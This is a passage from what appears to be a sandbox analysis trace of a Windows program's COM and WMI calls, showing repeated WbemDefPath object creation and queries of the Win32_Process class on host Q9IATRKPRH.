ppvObject=0x1b2fcff0*=0x11db0a0) returned 0x0 [0073.856] WbemLocator:IUnknown:Release (This=0x11db0a0) returned 0x2 [0073.856] SysStringLen (param_1=0x0) returned 0x0 [0073.857] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11698c0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0073.857] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0073.857] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.857] WbemDefPath:IWbemPath:GetText (in: This=0x1169bc0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0073.857] WbemDefPath:IWbemPath:GetText (in: This=0x1169bc0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0073.857] IWbemServices:GetObject (in: This=0x11db0a0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11ecaf0, ppCallResult=0x0) returned 0x0 [0073.860] IWbemClassObject:Get (in: This=0x11ecaf0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0073.861] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0073.861] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0073.861] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0073.861] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0073.861] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0073.861] IUnknown:Release (This=0x111f638) returned 0x1 [0073.863] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1becf020) returned 0x0 [0073.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becf020, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0073.864] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becf020, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1169740) returned 0x0 [0073.864] WbemDefPath:IUnknown:Release (This=0x1becf020) returned 0x0 [0073.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1169740) returned 0x0 [0073.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0073.864] WbemDefPath:IUnknown:AddRef (This=0x1169740) returned 0x3 [0073.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0073.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0073.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1becf040) returned 0x0 [0073.865] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becf040, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.865] WbemDefPath:IUnknown:Release (This=0x1becf040) returned 0x3 [0073.865] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0073.865] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0073.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0073.865] WbemDefPath:IUnknown:Release (This=0x1169740) returned 0x2 [0073.865] WbemDefPath:IUnknown:Release (This=0x1169740) returned 0x1 [0073.865] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0073.865] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0073.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1169740) returned 0x0 [0073.865] WbemDefPath:IUnknown:AddRef (This=0x1169740) returned 0x3 [0073.865] WbemDefPath:IUnknown:Release (This=0x1169740) returned 0x2 [0073.865] WbemDefPath:IWbemPath:SetText (This=0x1169740, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0073.865] IWbemClassObject:Get (in: This=0x11ecaf0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0073.866] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0073.866] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0073.866] IWbemClassObject:Get (in: This=0x11ecaf0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0073.866] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0073.866] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0073.866] IWbemClassObject:Get (in: This=0x11ecaf0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0073.867] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0073.867] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0073.867] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0073.867] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0073.867] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0073.867] IUnknown:Release (This=0x111f638) returned 0x1 [0073.869] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf632e0) returned 0x0 [0073.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf632e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0073.870] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf632e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1169680) returned 0x0 [0073.870] WbemDefPath:IUnknown:Release (This=0x1bf632e0) returned 0x0 [0073.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1169680) returned 0x0 [0073.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0073.870] WbemDefPath:IUnknown:AddRef (This=0x1169680) returned 0x3 [0073.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0073.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0073.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf63320) returned 0x0 [0073.870] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf63320, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.870] WbemDefPath:IUnknown:Release (This=0x1bf63320) returned 0x3 [0073.870] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0073.871] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0073.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0073.871] WbemDefPath:IUnknown:Release (This=0x1169680) returned 0x2 [0073.871] WbemDefPath:IUnknown:Release (This=0x1169680) returned 0x1 [0073.871] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0073.871] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0073.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1169680) returned 0x0 [0073.871] WbemDefPath:IUnknown:AddRef (This=0x1169680) returned 0x3 [0073.871] WbemDefPath:IUnknown:Release (This=0x1169680) returned 0x2 [0073.871] WbemDefPath:IWbemPath:SetText (This=0x1169680, uMode=0x4, pszPath="") returned 0x0 [0073.871] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0073.871] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0073.871] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0073.871] IUnknown:Release (This=0x111f638) returned 0x1 [0073.874] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf632e0) returned 0x0 [0073.874] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf632e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0073.874] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf632e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x11695c0) returned 0x0 [0073.875] WbemDefPath:IUnknown:Release (This=0x1bf632e0) returned 0x0 [0073.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x11695c0) returned 0x0 [0073.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0073.875] WbemDefPath:IUnknown:AddRef (This=0x11695c0) returned 0x3 [0073.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0073.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0073.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf63360) returned 0x0 [0073.875] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf63360, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.875] WbemDefPath:IUnknown:Release (This=0x1bf63360) returned 0x3 [0073.875] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0073.876] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0073.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0073.876] WbemDefPath:IUnknown:Release (This=0x11695c0) returned 0x2 [0073.876] WbemDefPath:IUnknown:Release (This=0x11695c0) returned 0x1 [0073.876] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0073.876] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0073.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11695c0) returned 0x0 [0073.876] WbemDefPath:IUnknown:AddRef (This=0x11695c0) returned 0x3 [0073.876] WbemDefPath:IUnknown:Release (This=0x11695c0) returned 0x2 [0073.876] WbemDefPath:IWbemPath:SetText (This=0x11695c0, uMode=0x4, pszPath="") returned 0x0 [0073.876] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11695c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0073.876] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169680, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0073.876] WbemDefPath:IWbemPath:GetClassName (in: This=0x11695c0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0073.876] WbemDefPath:IWbemPath:GetServer (in: This=0x11695c0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0073.876] WbemDefPath:IWbemPath:SetServer (This=0x11695c0, Name="Q9IATRKPRH") returned 0x0 [0073.876] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0073.876] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0073.876] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0073.877] IUnknown:Release (This=0x111f638) returned 0x1 [0073.879] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf63380) returned 0x0 [0073.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf63380, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0073.879] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf63380, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1169500) returned 0x0 [0073.879] WbemDefPath:IUnknown:Release (This=0x1bf63380) returned 0x0 [0073.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1169500) returned 0x0 [0073.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0073.880] WbemDefPath:IUnknown:AddRef (This=0x1169500) returned 0x3 [0073.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, 